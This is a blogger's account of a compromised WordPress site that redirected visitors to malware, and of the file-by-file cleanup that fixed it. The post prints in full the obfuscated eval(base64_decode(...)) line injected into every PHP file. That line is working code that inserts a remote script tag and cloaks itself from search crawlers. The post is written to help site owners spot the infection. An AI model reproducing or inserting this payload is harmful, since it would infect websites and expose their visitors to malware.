I had the strangest issue recently where a blogger was running into a problem where whomever hit their website they would be redirected to a malware site. I had seen this issue commonly with blogger.com websites, but hadn’t seen it as often with WordPress where a user didn’t make any changes (new plug-in, widgets…etc) on their own side.
I started working on the bloggers site and checked every single file I could think of and saw nothing amiss except the first line in every php file (404.php, index.php, single.php, plugin.php…etc) every single .php file started with the same line as you can see here:
<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5b2IyeGhjMmx2Ym5kbFlpNWpiMjB2YjI4dWNHaHdJajQ4TDNOamNtbHdkRDQ9Iik7ICAgICAgfSAgICAgIHJldHVybiAiIjsgICAgIH0gICAgfSAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ICAgICBmdW5jdGlvbiBnemRlY29kZSgkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDKXsgICAgICAkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEPUBvcmQoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDMsMSkpOyAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9MTA7ICAgICAgJFJBM0Q1MkU1MkE0ODkzNkNERTBGNTM1NkJCMDg2NTJGMj0wOyAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmNCl7ICAgICAgICRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9QHVucGFjaygndicsc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMTAsMikpOyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPSRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUJbMV07ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTIrJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQjsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY4KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMTYpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYyKXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MjsgICAgICB9ICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz1AZ3ppbmZsYXRlKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSk7ICAgICAgaWYoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz09PUZBTFNFKXsgICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz0kUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDOyAgICAgIH0gICAgICByZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MzsgICAgIH0gICAgfSAgICBmdW5jdGlvbiBtcm9iaCgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKXsgICAgIEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgICAgJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERT1nemRlY29kZSgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKTsgICAgICAgaWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKSl7ICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpOyAgICAgfWVsc2V7ICAgICAgcmV0dXJuICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUuZ21sKCk7ICAgICB9ICAgIH0gICAgb2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
At first I thought this was a free theme and the theme was encrypted to prevent someone from removing copyright…etc, but after closer inspection I realize that this line of code was the actual hack:
<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJ.... long line of encrypted data...oJyk7ICAgfSAgfQ=="));?>
So I proceeded to remove this encrypted line of code from the index.php and retest, but the malware redirect occurred and the code magically re-appeared in the index.php again.
I had to actually offline the blog and clean out every single .php file on the entire site! (every one, the code even injected itself into every theme and every plug-in .php file in the /plugins folder). Once I sanitized every php file on the entire wordpres blog the site came back up cleanly and the problem has not occured since. It would seem that the code has the ability to detect and infect every other php code on the same wordpress server.
I have found a few articles referencing sites that were hacked that use the same code string:
This hack is a vulnerability that affects any PHP based application like Zen Cart, WordPress and more.
Note, in these vulnerabilities and attacks there were multiple web hosting providers listed including DreamHost, and this could occur as a security breach of your hosting provider. You need to inform your hosting provider if any of your wordpress or php files are hacked so that they can go through the access logs to determine the cause of entry and help secure and prevent future hacks.
There are some ways to help ensure your wordpress blog is protected, and these are two articles I have written previously which all WordPress bloggers should read to make sure your blogs are more secure:
-Dragon Blogger